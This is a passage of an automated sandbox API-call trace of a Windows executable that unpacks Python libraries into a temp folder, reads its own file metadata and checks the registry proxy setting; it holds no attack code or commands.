dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.451] GetFileType (hFile=0x300) returned 0x1 [0076.451] GetFileType (hFile=0x300) returned 0x1 [0076.451] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0076.451] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.451] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.451] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.451] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.451] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.451] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.452] CloseHandle (hObject=0x300) returned 1 [0076.452] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.452] GetFileType (hFile=0x300) returned 0x1 [0076.452] GetFileType (hFile=0x300) returned 0x1 [0076.452] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0076.452] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0076.452] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0076.452] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0076.452] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0076.453] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0076.453] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0076.453] CloseHandle (hObject=0x300) returned 1 [0076.453] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b8d28, lpFilePart=0x9b8d24 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b8d24*="_file_system.pyc") returned 0x48 [0076.459] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b99c8, lpFilePart=0x9b99c4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b99c4*="_file_system.pyc") returned 0x48 [0076.462] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b99c8, lpFilePart=0x9b99c4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b99c4*="_file_system.pyc") returned 0x48 [0076.466] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.466] GetFileType (hFile=0x300) returned 0x1 [0076.466] GetFileType (hFile=0x300) returned 0x1 [0076.466] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.467] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.467] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.467] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.467] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.467] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.467] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.467] CloseHandle (hObject=0x300) returned 1 [0076.468] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.468] GetFileType (hFile=0x300) returned 0x1 [0076.468] GetFileType (hFile=0x300) returned 0x1 [0076.468] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.468] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.468] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.468] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.468] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.468] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.468] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.468] CloseHandle (hObject=0x300) returned 1 [0076.469] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b99c8, lpFilePart=0x9b99c4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b99c4*="_file_system.pyc") returned 0x48 [0076.473] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b9f50, lpFilePart=0x9b9f4c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b9f4c*="_file_system.pyc") returned 0x48 [0076.479] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b9f50, lpFilePart=0x9b9f4c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b9f4c*="_file_system.pyc") returned 0x48 [0076.484] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.484] GetFileType (hFile=0x300) returned 0x1 [0076.484] GetFileType (hFile=0x300) returned 0x1 [0076.484] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0076.484] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.485] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.485] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.485] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.485] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0076.485] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0076.485] CloseHandle (hObject=0x300) returned 1 [0076.486] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba018, lpFilePart=0x9ba014 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba014*="_file_system.pyc") returned 0x48 [0076.492] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.492] GetFileType (hFile=0x300) returned 0x1 [0076.492] GetFileType (hFile=0x300) returned 0x1 [0076.492] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0076.492] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0076.492] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0076.492] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0076.492] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0076.493] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0076.493] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0076.493] CloseHandle (hObject=0x300) returned 1 [0076.493] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba668, lpFilePart=0x9ba664 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba664*="_file_system.pyc") returned 0x48 [0076.499] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba668, lpFilePart=0x9ba664 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba664*="_file_system.pyc") returned 0x48 [0076.504] ResetEvent (hEvent=0x1d4) returned 1 [0076.504] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0077.501] GetLastError () returned 0x0 [0077.502] GetLastError () returned 0x0 [0077.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2cf8 | out: hHeap=0x2ad0000) returned 1 [0077.502] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0077.502] GetCurrentThreadId () returned 0x9b0 [0077.502] ResetEvent (hEvent=0x1d4) returned 1 [0077.502] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0078.508] GetLastError () returned 0x0 [0078.508] GetCurrentThreadId () returned 0x9b0 [0078.508] GetLastError () returned 0x0 [0078.508] GetCurrentThreadId () returned 0x9b0 [0078.508] GetCurrentThreadId () returned 0x9b0 [0078.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0078.508] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0078.508] GetCurrentThreadId () returned 0x9b0 [0078.508] GetCurrentThreadId () returned 0x9b0 [0078.508] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x98) returned 0x334d5c0 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d5c0 | out: hHeap=0x2ad0000) returned 1 [0078.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x98) returned 0x334d160 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0078.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0078.509] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.509] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0078.509] GetCurrentThreadId () returned 0x9b0 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b2528 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3589a10 [0078.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b2528 | out: hHeap=0x2ad0000) returned 1 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6a4) returned 0x33f3e18 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b2528 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3585dc0 [0078.510] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b2528 | out: hHeap=0x2ad0000) returned 1 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e18 [0078.510] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ed8 [0078.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0078.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de568 [0078.511] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de508, Size=0x14) returned 0x3183b60 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ed8 | out: hHeap=0x2ad0000) returned 1 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b60 | out: hHeap=0x2ad0000) returned 1 [0078.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x31e) returned 0x3624ce8 [0078.511] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x33e9410 [0078.511] GetCurrentThreadId () returned 0x9b0 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0078.511] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0078.511] GetCurrentThreadId () returned 0x9b0 [0078.512] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x9bac88 | out: phkResult=0x9bac88*=0x300) returned 0x0 [0078.512] GetLastError () returned 0x0 [0078.512] GetCurrentThreadId () returned 0x9b0 [0078.512] GetLastError () returned 0x0 [0078.512] RegQueryValueExA (in: hKey=0x300, lpValueName="ProxyEnable", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x9bac9c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x9bac9c*=0x4) returned 0x0 [0078.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de788 [0078.512] RegQueryValueExA (in: hKey=0x300, lpValueName="ProxyEnable", lpReserved=0x0, lpType=0x9bac90, lpData=0x33de788, lpcbData=0x9bac98*=0x4 | out: lpType=0x9bac90*=0x4, lpData=0x33de788*=0x0, lpcbData=0x9bac98*=0x4) returned 0x0 [0078.512] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0078.512] RegCloseKey (hKey=0x300) returned 0x0 [0078.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0078.512] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b2528 [0078.513] GetCurrentThreadId () returned 0x9b0 [0078.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3000) returned 0x33ec328 [0078.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0078.513] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81db8, Size=0x20) returned 0x30283f0 [0078.513] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18e18 [0078.513] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19968 [0078.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0078.513] GetCurrentThreadId () returned 0x9b0 [0078.513] GetCurrentThreadId () returned 0x9b0 [0078.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0078.513] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0078.513] GetCurrentThreadId () returned 0x9b0 [0078.513] GetCurrentThreadId () returned 0x9b0 [0078.513] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0078.513] GetCurrentThreadId () returned 0x9b0 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ed8 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d70 [0078.514] GetCurrentThreadId () returned 0x9b0 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e18 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de678 [0078.514] GetCurrentThreadId () returned 0x9b0 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ef0 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5f8 [0078.514] GetCurrentThreadId () returned 0x9b0 [0078.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de678 | out: hHeap=0x2ad0000) returned 1 [0078.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81fb0 [0078.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0078.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0078.514] GetCurrentThreadId () returned 0x9b0 [0078.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f08 [0078.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f08 | out: hHeap=0x2ad0000) returned 1 [0078.515] GetCurrentThreadId () returned 0x9b0 [0078.515] GetCurrentThreadId () returned 0x9b0 [0078.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f08 [0078.515] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81f08, Size=0x20) returned 0x3028328 [0078.515] GetCurrentThreadId () returned 0x9b0 [0078.515] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a18ef0 [0078.515] GetCurrentThreadId () returned 0x9b0 [0078.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0078.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e90 [0078.515] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ea8 [0078.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e90 | out: hHeap=0x2ad0000) returned 1 [0078.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0078.515] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ea8 | out: hHeap=0x2ad0000) returned 1 [0078.515] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ef0, Size=0x64) returned 0x2a195e8 [0078.515] GetCurrentThreadId () returned 0x9b0 [0078.516] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2ac0e68 [0078.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4a8 [0078.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5b8 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5050 | out: hHeap=0x2ad0000) returned 1 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ef0 | out: hHeap=0x2ad0000) returned 1 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ed8 | out: hHeap=0x2ad0000) returned 1 [0078.516] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0e68 | out: hHeap=0x2ad0000) returned 1 [0078.516] GetCurrentThreadId () returned 0x9b0 [0078.516] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0078.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0078.517] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ea8 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d28 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0078.517] GetCurrentThreadId () returned 0x9b0 [0078.517] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f20 [0078.518] GetCurrentThreadId () returned 0x9b0 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5c8 [0078.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f38 [0078.518] GetCurrentThreadId () returned 0x9b0 [0078.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f38 | out: hHeap=0x2ad0000) returned 1 [0078.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e18 [0078.518] GetCurrentThreadId () returned 0x9b0 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ef0 [0078.518] GetCurrentThreadId () returned 0x9b0 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de528 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f38 [0078.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f38 | out: hHeap=0x2ad0000) returned 1 [0078.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0078.518] GetCurrentThreadId () returned 0x9b0 [0078.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f68 [0078.519] HeapFree (in: 